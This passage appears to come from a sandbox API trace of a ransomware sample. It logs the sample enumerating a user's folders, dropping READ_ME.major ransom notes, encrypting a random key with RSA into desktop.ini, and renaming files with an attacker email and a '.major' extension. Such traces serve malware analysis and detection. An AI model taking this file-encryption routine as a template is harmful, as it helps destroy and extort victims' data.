(HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0156.326] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0156.326] GetLastError () returned 0x0 [0156.326] SetLastError (dwErrCode=0x0) [0156.326] GetLastError () returned 0x0 [0156.326] SetLastError (dwErrCode=0x0) [0156.327] GetLastError () returned 0x0 [0156.327] SetLastError (dwErrCode=0x0) [0156.327] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0156.327] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0156.327] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde98 [0156.327] FindNextFileW (in: hFindFile=0x631300, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b7ea01, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x17b7ea01, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x17b7ea01, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0156.327] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0156.327] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0156.327] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0156.327] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0156.327] GetLastError () returned 0x0 [0156.327] SetLastError (dwErrCode=0x0) [0156.327] GetLastError () returned 0x0 [0156.327] SetLastError (dwErrCode=0x0) [0156.327] GetLastError () returned 0x0 [0156.327] SetLastError (dwErrCode=0x0) [0156.327] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0156.327] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0156.327] FindNextFileW (in: hFindFile=0x631300, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b7ea01, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x17b7ea01, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x17b7ea01, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0156.327] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0156.327] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0156.327] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.327] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\Saved Pictures\\desktop.ini", dwFileAttributes=0x80) returned 1 [0156.328] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0156.328] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e2e0 [0156.328] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0156.328] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\Saved Pictures\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\saved pictures\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e0 [0156.328] GetFileSizeEx (in: hFile=0x6e0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=190) returned 1 [0156.328] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xbe) returned 0x5d07f0 [0156.328] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xbe) returned 0x5d0ca0 [0156.328] ReadFile (in: hFile=0x6e0, lpBuffer=0x5d07f0, nNumberOfBytesToRead=0xbe, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d07f0*, lpNumberOfBytesRead=0x2e3f9b4*=0xbe, lpOverlapped=0x0) returned 1 [0156.329] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=-190, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.329] WriteFile (in: hFile=0x6e0, lpBuffer=0x5d0ca0*, nNumberOfBytesToWrite=0xbe, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d0ca0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xbe, lpOverlapped=0x0) returned 1 [0156.329] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0156.329] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0156.329] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xbe [0156.329] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.329] WriteFile (in: hFile=0x6e0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.329] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.329] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.330] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.330] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.330] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="gLU+/9CvFogGKtu1R9budijlhhV+mqvJu0uqMUOFs0MXcc1MEsb+N3jlCUMmJb91\nTZ1iICsji/GQwamQ0tTRrzKIpV4+jqcfAQYj20PK0LOe+FvDtqxFXwN/azZ50gwb\noxNNelSergdF5VDbCip1ed/u3OpnsqeAEcBLgmao1U1eCtKEeCu2ir3gfyhtqxmX\nAMm/uD7jKJ0KZGUyRJcMjgN8rm4YWisLbePE8an5p/gqgE096Q2BfHy31oGAa6jW\nMgQFdTe7ONBFyVQlNqHifDQaTOhytMGJoaevzrYzaPqx/UOmSVz/Pzx6wUA3hDhp\ni2++q2CDTglTUI1hQBcQqw==\n", pcchString=0x2e3f9a8) returned 1 [0156.330] WriteFile (in: hFile=0x6e0, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.330] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.330] WriteFile (in: hFile=0x6e0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.330] CloseHandle (hObject=0x6e0) returned 1 [0156.330] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.330] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\Saved Pictures\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\saved pictures\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\Saved Pictures\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\saved pictures\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e2e0 | out: hHeap=0x570000) returned 1 [0156.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0156.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0156.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x570000) returned 1 [0156.351] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0156.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0156.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0156.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5899c8 | out: hHeap=0x570000) returned 1 [0156.351] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fcef4e0, ftCreationTime.dwHighDateTime=0x1d4c6a4, ftLastAccessTime.dwLowDateTime=0x144b1770, ftLastAccessTime.dwHighDateTime=0x1d4d09f, ftLastWriteTime.dwLowDateTime=0x18620bae, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631380 [0156.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0156.351] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0156.351] GetLastError () returned 0x0 [0156.351] SetLastError (dwErrCode=0x0) [0156.351] GetLastError () returned 0x0 [0156.351] SetLastError (dwErrCode=0x0) [0156.351] GetLastError () returned 0x0 [0156.351] SetLastError (dwErrCode=0x0) [0156.351] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.351] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0156.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0156.351] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0156.351] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6314c0 [0156.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6314c0 | out: hHeap=0x570000) returned 1 [0156.351] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405b8 [0156.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405b8 | out: hHeap=0x570000) returned 1 [0156.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0156.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.352] FindNextFileW (in: hFindFile=0x631380, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fcef4e0, ftCreationTime.dwHighDateTime=0x1d4c6a4, ftLastAccessTime.dwLowDateTime=0x144b1770, ftLastAccessTime.dwHighDateTime=0x1d4d09f, ftLastWriteTime.dwLowDateTime=0x18620bae, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0156.352] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0156.352] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0156.352] GetLastError () returned 0x0 [0156.352] SetLastError (dwErrCode=0x0) [0156.352] GetLastError () returned 0x0 [0156.352] SetLastError (dwErrCode=0x0) [0156.352] GetLastError () returned 0x0 [0156.352] SetLastError (dwErrCode=0x0) [0156.352] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0156.352] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0156.352] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0156.352] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0156.352] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6313c0 [0156.352] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6313c0 | out: hHeap=0x570000) returned 1 [0156.352] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403c0 [0156.352] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0156.352] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0156.352] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0156.352] FindNextFileW (in: hFindFile=0x631380, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf684c090, ftCreationTime.dwHighDateTime=0x1d4c849, ftLastAccessTime.dwLowDateTime=0x62160000, ftLastAccessTime.dwHighDateTime=0x1d4d478, ftLastWriteTime.dwLowDateTime=0x62160000, ftLastWriteTime.dwHighDateTime=0x1d4d478, nFileSizeHigh=0x0, nFileSizeLow=0x40fb, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="-Q5CQU3xjGpYs.flv", cAlternateFileName="-Q5CQU~1.FLV")) returned 1 [0156.352] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0156.352] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0156.352] GetLastError () returned 0x0 [0156.352] SetLastError (dwErrCode=0x0) [0156.352] GetLastError () returned 0x0 [0156.352] SetLastError (dwErrCode=0x0) [0156.352] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0156.352] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0156.352] GetLastError () returned 0x0 [0156.353] SetLastError (dwErrCode=0x0) [0156.353] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.353] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.353] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6778 [0156.353] FindNextFileW (in: hFindFile=0x631380, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29ab42a0, ftCreationTime.dwHighDateTime=0x1d4cd59, ftLastAccessTime.dwLowDateTime=0x762013a0, ftLastAccessTime.dwHighDateTime=0x1d4d3fc, ftLastWriteTime.dwLowDateTime=0x762013a0, ftLastWriteTime.dwHighDateTime=0x1d4d3fc, nFileSizeHigh=0x0, nFileSizeLow=0x15e7c, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="h qmV-L1GJRPpmE.mkv", cAlternateFileName="HQMV-L~1.MKV")) returned 1 [0156.353] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0156.353] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0156.353] GetLastError () returned 0x0 [0156.353] SetLastError (dwErrCode=0x0) [0156.353] GetLastError () returned 0x0 [0156.353] SetLastError (dwErrCode=0x0) [0156.353] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0156.353] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0156.353] GetLastError () returned 0x0 [0156.353] SetLastError (dwErrCode=0x0) [0156.353] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.353] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.353] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde98 [0156.353] FindNextFileW (in: hFindFile=0x631380, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc6da6b0, ftCreationTime.dwHighDateTime=0x1d4c57f, ftLastAccessTime.dwLowDateTime=0xffa7c9a0, ftLastAccessTime.dwHighDateTime=0x1d4d452, ftLastWriteTime.dwLowDateTime=0xffa7c9a0, ftLastWriteTime.dwHighDateTime=0x1d4d452, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="HgvmG", cAlternateFileName="")) returned 1 [0156.353] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0156.353] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0156.353] GetLastError () returned 0x0 [0156.353] SetLastError (dwErrCode=0x0) [0156.353] GetLastError () returned 0x0 [0156.353] SetLastError (dwErrCode=0x0) [0156.353] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0156.353] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0156.353] GetLastError () returned 0x0 [0156.353] SetLastError (dwErrCode=0x0) [0156.353] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0156.353] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0156.354] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be420 [0156.354] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0156.354] GetLastError () returned 0x0 [0156.354] SetLastError (dwErrCode=0x0) [0156.354] GetLastError () returned 0x0 [0156.354] SetLastError (dwErrCode=0x0) [0156.354] GetLastError () returned 0x0 [0156.354] SetLastError (dwErrCode=0x0) [0156.354] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\HgvmG\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\hgvmg\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e4 [0156.354] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde20 | out: hHeap=0x570000) returned 1 [0156.354] WriteFile (in: hFile=0x6e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0156.355] CloseHandle (hObject=0x6e4) returned 1 [0156.355] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0156.355] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0156.355] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2c0 | out: hHeap=0x570000) returned 1 [0156.355] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be420 | out: hHeap=0x570000) returned 1 [0156.355] FindNextFileW (in: hFindFile=0x631380, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1f3180, ftCreationTime.dwHighDateTime=0x1d4d44c, ftLastAccessTime.dwLowDateTime=0xea02f9b0, ftLastAccessTime.dwHighDateTime=0x1d4c694, ftLastWriteTime.dwLowDateTime=0xea02f9b0, ftLastWriteTime.dwHighDateTime=0x1d4c694, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="R3eG_Mm3 6jiK2_eNq", cAlternateFileName="R3EG_M~1")) returned 1 [0156.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0156.356] GetLastError () returned 0x0 [0156.356] SetLastError (dwErrCode=0x0) [0156.356] GetLastError () returned 0x0 [0156.356] SetLastError (dwErrCode=0x0) [0156.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0156.356] GetLastError () returned 0x0 [0156.356] SetLastError (dwErrCode=0x0) [0156.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0156.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0156.356] GetLastError () returned 0x0 [0156.356] SetLastError (dwErrCode=0x0) [0156.356] GetLastError () returned 0x0 [0156.356] SetLastError (dwErrCode=0x0) [0156.356] GetLastError () returned 0x0 [0156.356] SetLastError (dwErrCode=0x0) [0156.356] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\r3eg_mm3 6jik2_enq\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e4 [0156.357] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0156.357] WriteFile (in: hFile=0x6e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0156.358] CloseHandle (hObject=0x6e4) returned 1 [0156.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0156.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d290 | out: hHeap=0x570000) returned 1 [0156.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d350 | out: hHeap=0x570000) returned 1 [0156.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0156.358] FindNextFileW (in: hFindFile=0x631380, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18620bae, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x18620bae, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x18620bae, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0156.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0156.358] GetLastError () returned 0x0 [0156.358] SetLastError (dwErrCode=0x0) [0156.358] GetLastError () returned 0x0 [0156.358] SetLastError (dwErrCode=0x0) [0156.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0156.358] GetLastError () returned 0x0 [0156.358] SetLastError (dwErrCode=0x0) [0156.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0156.358] FindNextFileW (in: hFindFile=0x631380, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6cfbed0, ftCreationTime.dwHighDateTime=0x1d4d1de, ftLastAccessTime.dwLowDateTime=0x4c419c40, ftLastAccessTime.dwHighDateTime=0x1d4d3fa, ftLastWriteTime.dwLowDateTime=0x4c419c40, ftLastWriteTime.dwHighDateTime=0x1d4d3fa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="VEV_ mHUHdjk8n7UGN", cAlternateFileName="VEV_MH~1")) returned 1 [0156.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0156.358] GetLastError () returned 0x0 [0156.358] SetLastError (dwErrCode=0x0) [0156.358] GetLastError () returned 0x0 [0156.358] SetLastError (dwErrCode=0x0) [0156.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0156.359] GetLastError () returned 0x0 [0156.359] SetLastError (dwErrCode=0x0) [0156.359] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0156.359] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.359] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0156.359] GetLastError () returned 0x0 [0156.359] SetLastError (dwErrCode=0x0) [0156.359] GetLastError () returned 0x0 [0156.359] SetLastError (dwErrCode=0x0) [0156.359] GetLastError () returned 0x0 [0156.359] SetLastError (dwErrCode=0x0) [0156.359] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\VEV_ mHUHdjk8n7UGN\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\vev_ mhuhdjk8n7ugn\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e4 [0156.361] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0156.361] WriteFile (in: hFile=0x6e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0156.362] CloseHandle (hObject=0x6e4) returned 1 [0156.362] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0156.362] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0156.362] HeapFree (in: hHeap=0x570000, 